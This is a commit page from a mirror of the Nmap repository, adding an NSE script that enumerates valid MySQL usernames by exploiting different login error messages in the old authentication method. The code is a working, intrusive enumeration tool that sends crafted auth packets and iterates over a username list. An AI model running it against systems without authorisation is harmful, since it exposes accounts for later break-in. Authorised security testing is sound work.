1
0
mirror of https://github.com/nmap/nmap.git synced 2025-12-06 04:31:29 +00:00

Merged mysql-enum from my dev branch

This commit is contained in:
aca
2012-12-17 15:59:35 +00:00
parent 16d50c48da
commit d8dc00e0ed
3 changed files with 113 additions and 0 deletions

109
scripts/mysql-enum.nse Normal file
View File

@@ -0,0 +1,109 @@
local brute = require "brute"
local creds = require "creds"
local mysql = require "mysql"
local nmap = require "nmap"
local shortport = require "shortport"
local stdnse = require "stdnse"
local openssl = stdnse.silent_require "openssl"
description = [[
Performs valid user enumeration against MySQL server.
Server version 5.x are succeptible to an user enumeration
attack due to different messages during login when using
old authentication mechanism from versions 4.x and earlier.
Original bug discovered and published by Kingcope:
http://seclists.org/fulldisclosure/2012/Dec/9
]]
---
-- @usage
-- nmap --script=mysql-enum <target>
--
-- @output
-- PORT STATE SERVICE REASON
-- 3306/tcp open mysql syn-ack
-- | mysql-enum:
-- | Accounts
-- | admin:<empty> - Valid credentials
-- | test:<empty> - Valid credentials
-- | test_mysql:<empty> - Valid credentials
-- | Statistics
-- |_ Performed 11 guesses in 1 seconds, average tps: 11
author = "Aleksandar Nikolic"
license = "Same as Nmap--See http://nmap.org/book/man-legal.html"
categories = {"intrusive", "brute"}
portrule = shortport.port_or_service(3306, "mysql")
local arg_timeout = stdnse.get_script_args(SCRIPT_NAME .. ".timeout") or 5
Driver = {
new = function(self, host, port)
local o = {}
setmetatable(o, self)
self.__index = self
o.host = host
o.port = port
return o
end,
connect = function( self )
self.socket = nmap.new_socket()
local status, err = self.socket:connect(self.host, self.port)
self.socket:set_timeout(tonumber(arg_timeout) * 1000)
if(not(status)) then
return false, brute.Error:new( "Couldn't connect to host: " .. err )
end
return true
end,
login = function (self, user, pass) -- pass is actually the username we want to try
local status, response = mysql.receiveGreeting(self.socket)
if(not(status)) then
if string.find(response,"is blocked because of many connection errors") then
local err = brute.Error:new( response )
err:setAbort( true )
return false, err
end
return false,brute.Error:new(response)
end
stdnse.print_debug( "Trying %s ...", pass)
local auth_string = bin.pack("H","0000018d00000000") .. pass .. bin.pack("H","00504e5f5155454d4500"); -- old authentication method
status, err = self.socket:send(bin.pack("c",string.len(auth_string)-3) .. auth_string) --send initial auth
status, response = self.socket:receive_bytes(0)
if not status then
return false,brute.Error:new( "Incorrect username" )
end
if string.find(response,"Access denied for user") == nil then
-- found it
return true, brute.Account:new( pass, nil, creds.State.VALID)
else
return false,brute.Error:new( "Incorrect username" )
end
end,
disconnect = function( self )
self.socket:close()
return true
end
}
action = function( host, port )
local status, result
local engine = brute.Engine:new(Driver, host, port)
engine.options:setOption("passonly", true )
engine:setPasswordIterator(brute.usernames_iterator())
engine.options.script_name = SCRIPT_NAME
engine.options:setTitle("Valid usernames")
status, result = engine:start()
return result
end